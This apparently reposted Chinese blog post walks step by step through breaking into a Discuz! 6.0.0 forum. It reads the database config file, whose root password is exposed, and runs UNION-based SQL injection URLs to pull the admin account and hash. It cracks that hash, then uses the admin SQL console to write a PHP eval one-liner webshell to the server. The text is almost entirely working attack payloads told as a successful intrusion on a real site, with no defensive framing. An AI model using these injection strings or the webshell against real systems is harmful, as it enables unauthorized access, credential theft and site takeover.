MySQL跨库查询的入侵

故事扮演 提交于 2020-11-21 14:48:12
第一步:拿到论坛的数据库名
       要想跨库,自然先要知道论坛的数据库的名字。那么如何得到呢?我又想到了loadfile,通过它来读取论坛的数据库连接文件。Discuz的连接文件是在论坛目录下的 config.inc.php  里,一般是没人会改名字的。通过HDSI直接读取,果然找到了我想要的内容:
$dbhost = 'localhost';
// 数据库服务器

$dbuser = 'root';
// 数据库用户名

$dbpw = 'netspace';
// 数据库密码

$dbname = 'discuz';
// 数据库名

$pconnect = 0;
// 数据库持久连接 0=关闭, 1=打开
哈哈!成功得到了数据库名:“discuz”。
第二步:找到自己想要的表名和列名
      因为我们的目标是管理员的帐号和密码,自然要找到和其相关的表名和列名。老实说,我以前还真没接触过Discuz,所以对其的数据库结构不了解。上百度搜索了下,还真搜索到了,并且是别人整理好的表。其中“cdb_members”保存的就是用户信息啦。当然管理员的也在其中。“username”,“password” 对应的就是存放帐号密码了!
第三步:开始读取管理员帐号和密码
      我们先构造个简单的语句认证下“cdb_members”是否真的存在: http://www.XXX.cn/News_Show.php?do=show&id=16 and 1=1 union select 1,2,3,4,5,6,7,8 from discuz.cdb_members  。这里需要解释下“discuz”就是需要跨库查询的,也就是论坛的数据库名,而“cdb_members”就是表名啦。访问后显示的是正常的界面。那就好办了,证明跨库查询成功,并且数据库名,表名都是存在的。接着就是拿密码咯!访问地址: http://www.XXXX.cn/News_Show.php?do=show&id=16 and 1=2 union select 1,username,3,password,5,6,7,8 from discuz.cdb_members where uid=1,因为uid为1的一般是管理员 。  得到结果,果然帐号和密码都成功的读取出来了,把加密后的密码去“http://www.cmd5.com/”破解,得到密码为:admin123456。
       接下来拿着得到的帐号和密码成功登陆了后台。然后就是拿WEBSHELL咯。Discuz! 6.0.0后台拿SHELL的常见方法就是在“模版编辑”处插入一句话。但我做时却出现错误。上网查找得知是权限不够造成的,需要修改文件的属性,这当然没办法做到了。就在一筹莫展时,突然想到,Discuz! 6.0.0是可以执行SQL命令的,只要是初始的管理员,而我的这个帐号不就是吗?于是点击“系统工具”,接着点“数据库升级”就会看到SQL命令的执行窗口。这下好办了,分别执行下面的命令:
creat table web(cmd text)
insert into web values('<?php eval($_POST[cmd]);?>')
select cmd from web into outfile 'e:/web/bitch.php'
        简单的解释下这三句的意思。第一句是建立一个表名为web,其中有个为文本型的cmd列名。第二句,在这个表中插入“<?php eval($_POST[cmd]);?>”,也就是一句话木马。第三句,将这个表导出到文件中。显然一句话木马也就在“bitch.php”之中了。最后通过一句话木马连接器,连接一句话就OK了,得到webshell。到此入侵过程就全部结束了
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!